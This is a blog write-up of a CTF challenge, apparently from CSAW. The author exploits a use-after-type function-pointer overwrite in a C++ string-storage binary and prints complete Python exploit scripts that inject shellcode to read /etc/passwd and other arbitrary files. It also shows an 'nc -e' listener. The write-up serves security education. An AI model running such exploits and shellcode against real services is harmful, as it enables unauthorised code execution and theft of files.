staring into /dev/null

barrebas

CSAW CTF Exploit 300: S3

A while ago, we threw together a semi-official VulnHub CTF team. This team participated in the CSAW CTF. For me, it was a new and humbling experience. I didn’t get a lot of flags but I managed to get this one.

Upon downloading the binary called s3, I connected to the remote server to quickly see what I was up against.

$ nc 54.165.225.121 5333

However, the connection timed out very quickly. I checked out the local copy with file:

$ file s3
s3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xe99ee53d6922baffcd3cecd9e6b333f7538d0633, stripped

Interesting, a 64 bit binary. Viewing it in hopper suggested that it is a C++ binary. I started the binary locally and faced the same quick time-out. This didn’t sit well with me, because I could hardly enter the second command to play around.

I fired up gdb-peda and ran the binary. It quickly showed the problem:

gdb-peda$ r
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Welcome to Amazon S3 (String Storage Service)

    c <type> <string> - Create the string <string> as <type>
                        Types are:
                            0 - NULL-Terminated String
                            1 - Counted String
    r <id>            - Read the string referenced by <id>
    u <id> <string>   - Update the string referenced by <id> to <string>
    d <id>            - Destroy the string referenced by <id>
    x                 - Exit Amazon S3

> 
Program received signal SIGALRM, Alarm clock.

s3: gdb caught the alarm.

Turns out this SIGALRM is generated by a call to alarm(). In hindsight, I could have made a library that overrides the call to alarm(), but I went with the hex-editing approach. I disassembled the binary using objdump and used grep to search the output for “alarm”:

$ objdump -d s3 | grep alarm
0000000000401300 <alarm@plt>:
  402126:   e8 d5 f1 ff ff          callq  401300 <alarm@plt>
  403771:   e8 8a db ff ff          callq  401300 <alarm@plt>

Using xxd, objdump and sed, I replaced those bytes with NOPs and reversed the process with xxd -r, generating a new binary in the process that was devoid of annoying timeouts!

The binary allows the storage of two types of strings: NULL-terminated and so-called “counted” strings. I assume these are like the strings used in Pascal, where the length of the string is prepended to the string. I created a NULL-terminated string and the binary gave me an identifier. I updated the string and was given another, very similar identifier. I read the string, deleted it and tried to read it again. The program happily told me there was no such string identifier and called it a day. I did notice that the string identifiers are in fact hex-addresses and examining these locations in gdb confirmed it.

s3: NULL-terminated strings, no problems!

Next, the obvious target was the “counted” string. I created a string “bleh”, updated it to “blehbleh” and tried to read from it… segfault! Awesome, we have a lead.

s3: counted strings... Oops!

Time to fire up gdb again and try to reproduce the crash:

s3: success! Let's see what's going on.

It looks like the updated string somehow overwrites a function pointer. This pointer is used here:

=> 0x4019d6: call   QWORD PTR [rax+0x10]

Obviously, 0x42424242-0x10 holds nothing interesting. However, we have overwritten a function pointer with a value that we control so in principle, we can hijack EIP and execute arbitrary code! The drawback is that the pointer is derefenced, so in order to execute any shellcode, we need to do the following:

s3: exploitation flow

We store shellcode somewhere, we store a pointer to the shellcode and finally, we overwrite the function pointer with a pointer to the pointer to the shellcode… confusing, eh? I went bit by bit, using the string storing service to store stuff. The string identifiers turned out to be memory addresses:

s3: memory addresses as string identifiers

I got tired of copying and pasting the string identifiers so I switched over to python. In order to emulate the server, I put the binary behind a nc listener:

$ while [[ 1 ]]; do nc -e ./s3 -v -l -p 5333; done

Notice that I’m using s3 again, as this will automagically restart without the need for a clean shutdown (in case the script needs debugging). I enabled coredumps with ulimit -c unlimited and started scripting and debugging, a lot.

#!/usr/bin/python

from socket import *
import time, re, struct


def getID(data):
    match = re.search(r'(\d.*)$', data.strip())<  
    if match:
        return int(match.group(1))
    
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost', 5333))

# banner
print s.recv(1024)

# send first string. this will be our shellcode
s.send('c 0 CTF!\n')
data = s.recv(64)
s.recv(2)    # receive pesky '> '
p_shellcode = getID(data)

print '[+] first location = 0x{0:08x}'.format(p_shellcode)

# send second string. this will be our 'pivot' pointer. 
# let's crash the binary to see if this works
s.send("c 1\n")

data = s.recv(64)
s.recv(2)    # receive pesky '> '
p_tmp = getID(data)

s.send('u ' + str(p_tmp) + ' AAAA\n')

data = s.recv(64)
p_pivot = getID(data)

print '[+] second location = 0x{0:08x}'.format(p_pivot)

# send read request to crash binary

s.send('r ' + str(p_pivot) + '\n')
data = s.recv(64)
s.recv(2)    # receive pesky '> '

# terminate connection cleanly
time.sleep(0.1)
s.send('x\n')

s.close()

After running this (and careful debugging of the script) I got a coredump:

$ python ./amaz.py 
Welcome to Amazon S3 (String Storage Service)

    c <type> <string> - Create the string <string> as <type>
                        Types are:
                            0 - NULL-Terminated String
                            1 - Counted String
    r <id>            - Read the string referenced by <id>
    u <id> <string>   - Update the string referenced by <id> to <string>
    d <id>            - Destroy the string referenced by <id>
    x                 - Exit Amazon S3


[+] first location = 0x00b10030
[+] second location = 0x00b10050
bas@tritonal:~/documents/s3 writeup$ gdb ./s3 core
...snip...
gdb-peda$ i r
rax            0x41414141   0x41414141

Good, we have control over rax. Now let’s use this to dereference the pointer to the first string:

s.send('u ' + str(p_tmp) + ' ' + struct.pack('>L', p_shellcode-0x10) + '\n')

Which obviously still crashes, because now the binary executes:

#0  0x0000000021465443 in ?? ()

Which obviously contains no data, nor any code. But let’s give it a proper pointer, shall we? And while I’m at it, I’ll set the shellcode to INT3. The stack is executable, so this should work!

#!/usr/bin/python

from socket import *
import time, re, struct


def getID(data):
    match = re.search(r'(\d.*)$', data.strip())
    if match:
        return int(match.group(1))
    
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost', 5333))

# banner
print s.recv(1024)

# send first string. this will be our shellcode
s.send('c 0 \xCC\xCC\xCC\xCC\n')
data = s.recv(64)
s.recv(2)    # receive pesky '> '
p_shellcode = getID(data)

print '[+] shellcode = 0x{0:08x}'.format(p_shellcode)


# send second string. this will be our 'pivot' pointer. 
s.send('c 0 ' + struct.pack('<L', p_shellcode) + '\n')
data = s.recv(64)
s.recv(2)    # receive pesky '> '
p_pivot = getID(data)

print '[+] pivot = 0x{0:08x}'.format(p_pivot)

# let's crash the binary to see if this works
s.send("c 1\n")

data = s.recv(64)
s.recv(2)    # receive pesky '> '
p_tmp = getID(data)

s.send('u ' + str(p_tmp) + ' ' + struct.pack('<L', p_pivot-0x10) + '\n')

data = s.recv(64)
s.recv(2)    # receive pesky '> '
p_vuln = getID(data)

print '[+] vulnerable pointer = 0x{0:08x}'.format(p_vuln)

# send read request to crash binary
s.send('r ' + str(p_vuln) + '\n')
data = s.recv(64)
s.recv(2)    # receive pesky '> '

# terminate connection cleanly
time.sleep(0.1)
s.send('x\n')

s.close()

In the other terminal, I observed:

connect to [127.0.0.1] from localhost [127.0.0.1] 53500
Trace/breakpoint trap (core dumped)
listening on [any] 5333 ...

BOOM! Code execution on my local machine!

At this point I wasted some time to cook up a small shellcode that would re-use existing code in the binary, to verify that the stack was indeed executable in the remote binary. It was, whoop-dee-doo! Next I searched for a proper shellcode and stumbled upon this one.

I stuck it in the exploit and lo and behold:

#!/usr/bin/python

from socket import *
import time, re, struct


def getID(data):
    match = re.search(r'(\d.*)$', data.strip())
    if match:
        return int(match.group(1))
    
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost', 5333))

# banner
print s.recv(1024)

# send first string. this will be our shellcode
s.send('c 0 \xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41\n')

data = s.recv(64)
s.recv(2)    # receive pesky '> '
p_shellcode = getID(data)

print '[+] shellcode = 0x{0:08x}'.format(p_shellcode)


# send second string. this will be our 'pivot' pointer. 
s.send('c 0 ' + struct.pack('<L', p_shellcode) + '\n')
data = s.recv(64)
s.recv(2)    # receive pesky '> '
p_pivot = getID(data)

print '[+] pivot = 0x{0:08x}'.format(p_pivot)

# let's crash the binary to see if this works
s.send("c 1\n")

data = s.recv(64)
s.recv(2)    # receive pesky '> '
p_tmp = getID(data)

s.send('u ' + str(p_tmp) + ' ' + struct.pack('<L', p_pivot-0x10) + '\n')

data = s.recv(64)
s.recv(2)    # receive pesky '> '
p_vuln = getID(data)

print '[+] vulnerable pointer = 0x{0:08x}'.format(p_vuln)

# send read request to crash binary
s.send('r ' + str(p_vuln) + '\n')

print s.recv(1000)
# terminate connection cleanly
time.sleep(0.1)
s.send('x\n')

s.close()
[+] shellcode = 0x01355030
[+] pivot = 0x01355030
[+] vulnerable pointer = 0x013552b0
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
...snip...

This also worked against the remote server! It showed me that there was a user called amazon with home directory /home/amazon. I adapted the exploit a bit to make it read arbitrary files. The instruction that needs adjusting is this one:

; NULL byte fix
xor byte [rdi + 11], 0x41

We need to update the value 11, or 0x0b. The exploit code was modified once more, spraying time.sleep() calls here and there:

#!/usr/bin/python

from socket import *
import time, re, struct, sys


def getID(data):
    match = re.search(r'(\d.*)', data.strip())
    if match:
        return int(match.group(1))
    
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost', 5333))

# banner
s.recv(1024)

length = len(sys.argv[1])
filename = sys.argv[1].strip()
# send first string. this will be our shellcode
s.send('c 0 \xeb\x3f\x5f\x80\x77'+struct.pack('<b', length)+'\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff'+filename+'A\n')

time.sleep(0.1)
#s.recv(2)  # receive pesky '> '
data = s.recv(64)
p_shellcode = getID(data)

print '[+] shellcode = 0x{0:08x}'.format(p_shellcode)

# send second string. this will be our 'pivot' pointer. 
s.send('c 0 ' + struct.pack('<L', p_shellcode) + '\n')

time.sleep(0.1)
data = s.recv(64)
p_pivot = getID(data)

print '[+] pivot = 0x{0:08x}'.format(p_pivot)

# let's crash the binary to see if this works
s.send("c 1\n")

time.sleep(0.1)
data = s.recv(64)
p_tmp = getID(data)

s.send('u ' + str(p_tmp) + ' ' + struct.pack('<L', p_pivot-0x10) + '\n')

time.sleep(0.1)
data = s.recv(64)
p_vuln = getID(data)

print '[+] vulnerable pointer = 0x{0:08x}'.format(p_vuln)

# send read request to crash binary
s.send('r ' + str(p_vuln) + '\n')

time.sleep(0.1)
print s.recv(1024)

# terminate connection cleanly
time.sleep(0.1)
s.send('x\n')

s.close()

(Note: this exploit fails if the address contains a NULL byte, a space or a zero, as these truncate data. During the CTF, I experienced no problems).

Now it was a matter of getting the flag. I tried /home/amazon/key, which returned nothing. Next was /home/amazon/flag and that was a bingo :)

Comments